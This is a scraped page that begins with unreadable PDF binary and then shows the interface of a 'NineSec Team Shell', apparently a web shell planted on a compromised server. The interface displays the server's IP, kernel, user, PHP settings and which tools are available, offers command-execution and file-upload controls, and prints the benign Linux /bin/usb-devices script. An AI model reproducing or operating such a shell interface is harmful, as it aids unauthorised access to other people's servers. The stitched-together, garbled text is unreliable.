%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.113
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /bin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //bin/usb-devices
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0+
#
# Copyright (c) 2009 Greg Kroah-Hartman <greg@kroah.com>
# Copyright (c) 2009 Randy Dunlap <rdunlap@xenotime.net>
# Copyright (c) 2009 Frans Pop <elendil@planet.nl>

print_string() {
	file=$1
	name=$2
	if [ -f $file ]; then
		echo "S:  $name=`cat $file`"
	fi
}

class_decode() {
	local class=$1		# v4: in hex

	case $class in
	"00") echo ">ifc " ;;
	"01") echo "audio" ;;
	"02") echo "commc" ;;
	"03") echo "HID  " ;;
	"05") echo "PID  " ;;
	"06") echo "still" ;;
	"07") echo "print" ;;
	"08") echo "stor." ;;
	"09") echo "hub  " ;;
	"0a") echo "data " ;;
	"0b") echo "scard" ;;
	"0d") echo "c-sec" ;;
	"0e") echo "video" ;;
	"0f") echo "perhc" ;;
	"dc") echo "diagd" ;;
	"e0") echo "wlcon" ;;
	"ef") echo "misc " ;;
	"fe") echo "app. " ;;
	"ff") echo "vend." ;;
	"*")  echo "unk. " ;;
	esac
}

print_endpoint() {
	local eppath=$1

	addr=`cat $eppath/bEndpointAddress`
	attr=`cat $eppath/bmAttributes`
	dir=`cat $eppath/direction`
	eptype=`cat $eppath/type`
	maxps_hex="0x`cat $eppath/wMaxPacketSize`"
	# Extract MaxPS size (bits 0-10) and multiplicity values (bits 11-12)
	maxps=`printf "%4i*%s\n" $(($maxps_hex & 0x7ff)) \
				$((1 + (($maxps_hex >> 11) & 0x3)))`
	interval=`cat $eppath/interval`

	printf "E:  Ad=%s(%s) Atr=%s(%s) MxPS=%s Ivl=%s\n" \
		$addr $dir $attr $eptype "$maxps" $interval
}

print_interface() {
	local ifpath=$1

	ifnum=`cat $ifpath/bInterfaceNumber`
	altset=`cat $ifpath/bAlternateSetting`
	numeps=`cat $ifpath/bNumEndpoints`
	class=`cat $ifpath/bInterfaceClass`
	subclass=`cat $ifpath/bInterfaceSubClass`
	protocol=`cat $ifpath/bInterfaceProtocol`
	if [ -L $ifpath/driver ]; then		# v4: allow for no driver
		driver=`readlink $ifpath/driver`
		driver=`basename "$driver"`
	else
		driver="(none)"
	fi
	classname=`class_decode $class`
	printf "I:  If#=%2s Alt=%2i #EPs=%2i Cls=%s(%s) Sub=%s Prot=%s Driver=%s\n" \
		0x${ifnum#0} ${altset#0} ${numeps#0} $class "$classname" $subclass \
		$protocol $driver

	for endpoint in $ifpath/ep_??
	do
		if [ -L $endpoint ]; then	# v4: verify endpoint exists
			print_endpoint $endpoint
		fi
	done
}

print_device() {
	local devpath=$1
	local parent=$2
	local level=$3
	local count=$4

	[ -d $devpath ] || return
	cd $devpath

	local busnum=`cat busnum`
	local devnum=`cat devnum`

	if [ $level -gt 0 ]; then
		port=$((${devpath##*[-.]} - 1))
	else
		port=0
	fi
	speed=`cat speed`
	maxchild=`cat maxchild`
	printf "\nT:  Bus=%02i Lev=%02i Prnt=%02i Port=%02i Cnt=%02i Dev#=%3i Spd=%-3s MxCh=%2i\n" \
		$busnum $level $parent $port $count $devnum $speed $maxchild

	ver=`cat version`
	devclass=`cat bDeviceClass`
	devsubclass=`cat bDeviceSubClass`
	devprotocol=`cat bDeviceProtocol`
	maxps0=`cat bMaxPacketSize0`
	numconfigs=`cat bNumConfigurations`
	classname=`class_decode $devclass`
	printf "D:  Ver=%5s Cls=%s(%s) Sub=%s Prot=%s MxPS=%2i #Cfgs=%3i\n" \
		$ver $devclass "$classname" $devsubclass $devprotocol \
		$maxps0 $numconfigs

	vendid=`cat idVendor`
	prodid=`cat idProduct`
	revmajor=`cat bcdDevice | cut -c 1-2`
	revminor=`cat bcdDevice | cut -c 3-4`
	printf "P:  Vendor=%s ProdID=%s Rev=%s.%s\n" \
		$vendid $prodid $revmajor $revminor

	print_string manufacturer "Manufacturer"
	print_string product Product
	print_string serial SerialNumber

	numifs=`cat bNumInterfaces`
	cfgnum=`cat bConfigurationValue`
	attr=`cat bmAttributes`
	maxpower=`cat bMaxPower`
	printf "C:  #Ifs=%2i Cfg#=%2i Atr=%s MxPwr=%s\n" \
		$numifs $cfgnum $attr $maxpower

	# There's not really any useful info in endpoint 00
	#print_endpoint $devpath/ep_00

	for interface in $busnum-*:?.*
	do
		print_interface $devpath/$interface
	done

	local devcount=0
	for subdev in $busnum-*
	do
		echo "$subdev" | grep -Eq "^$busnum-[0-9]+(\.[0-9]+)*$" \
			|| continue

		devcount=$(($devcount + 1))
		if [ -d $devpath/$subdev ]; then
			print_device $devpath/$subdev \
				$devnum $(($level +1)) $devcount
		fi
	done
}

if [ ! -d /sys/bus ]; then
	echo "Error: directory /sys/bus does not exist; is sysfs mounted?" >&2
	exit 1
fi

for device in /sys/bus/usb/devices/usb*
do
	print_device $device 0 0 0
done

NineSec Team - 2022